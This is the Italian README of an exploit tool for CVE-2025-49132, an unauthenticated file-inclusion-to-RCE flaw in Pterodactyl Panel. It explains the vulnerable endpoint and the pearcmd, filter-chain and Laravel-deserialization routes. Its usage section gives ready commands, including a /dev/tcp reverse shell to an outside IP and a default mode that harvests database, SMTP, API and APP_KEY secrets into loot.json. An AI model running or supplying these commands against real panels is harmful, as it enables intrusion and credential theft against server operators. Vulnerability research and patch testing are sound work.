CVE-2025-49132 - RCE non autenticata su Pterodactyl Panel

  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

Exploit per Pterodactyl Panel ≤ 1.11.10 - da LFI non autenticata a RCE.

La vulnerabilità

L'endpoint /locales/locale.json accetta i parametri locale e namespace che vengono passati direttamente a include() di PHP senza sanitizzazione o autenticazione. Il parametro hash, pensato per prevenire abusi, non viene mai applicato nelle versioni non aggiornate.

Ciò consente:

• Local File Inclusion (LFI) - Leggere qualsiasi file di configurazione .php (credenziali database, APP_KEY, mail, sessione…)
• Remote Code Execution (RCE) - Tramite inclusione di pearcmd.php (trucco register_argc_argv + config-create), catene di filtri PHP o deserializzazione di Laravel con l'APP_KEY divulgata

Versioni interessate: Pterodactyl Panel ≤ 1.11.10 Corretta in: 1.11.11

Perché questo PoC?

I PoC originali usano Python requests per inviare il payload pearcmd. Il problema: requests codifica silenziosamente nell'URL caratteri come <, >, {, } - il che rompe i tag PHP (<?=system(...)?>) incorporati nell'URL.

Questo exploit risolve il problema con due modifiche chiave:

1. curl per lo Stage 1 - La richiesta di creazione del payload usa curl -g (globoff) tramite subprocess, bypassando completamente la codifica URL di Python.
2. hex2bin() per la codifica dei comandi - Invece di iniettare il comando grezzo (che si rompe con spazi e caratteri speciali), il comando viene codificato in esadecimale e decodificato lato server con system(hex2bin('...')). L'esadecimale usa solo 0-9a-f - niente +, niente =, niente &, niente spazi. Ciò significa che qualsiasi comando funziona, incluse le reverse shell con >& e /dev/tcp/.
3. Percorso PEAR dinamico - A differenza di molti script statici che hardcodano /usr/share/php, questo strumento supporta pienamente l'argomento --pear-dir. Inietta dinamicamente il percorso personalizzato nella richiesta curl grezza, consentendo lo sfruttamento di target con configurazioni non standard.
4. Automazione all-in-one - Invece di fare affidamento su script separati per diversi vettori, questo strumento automatizza completamente l'intera superficie di attacco (pearcmd, filtri PHP, deserializzazione, LFI .php), verificando ogni possibilità per garantire il percorso RCE più affidabile.

Installazione

pip install requests

Opzionale (per i metodi RCE con filter chain / deserializzazione):

pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator

Utilizzo

RCE

# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"

# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"

# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."

# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"

# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR

# Reverse shell 
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

Dump completo della configurazione (modalità predefinita)

# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr

Opzioni

Valori comuni di --pear-dir

Cosa estrae la modalità predefinita

Quando viene eseguito senza --rce-cmd / --rce-filter / --rce-d, l'exploit esegue un'estrazione completa della configurazione:

• Database - Host MySQL, porta, utente, password, nome del database + configurazione Redis
• Applicazione - APP_KEY (→ deserializzazione di Laravel), versione, ambiente, modalità di debug
• Pterodactyl - Impostazioni specifiche del pannello, configurazione 2FA, flag delle funzionalità
• Sessione - Driver, configurazione dei cookie, impostazioni di cifratura
• Autenticazione - Configurazione del blocco account, scadenza del reset password
• Servizi - Chiavi API esterne (Mailgun, Postmark, ecc.)
• Mail - Credenziali SMTP, configurazione del mailer
• Coda / Cache / Hashing / CORS / Logging / Filesystem
• File sensibili - Tenta di leggere /etc/passwd, hostname, versione del kernel

Un report JSON completo viene salvato in loot.json (o in un percorso personalizzato tramite -o).

Crediti

Questo exploit è un miglioramento basato sul PoC di GRodolphe/CVE-2025-49132_poc, a sua volta ispirato al PoC originale di 0xtensho/CVE-2025-49132-poc.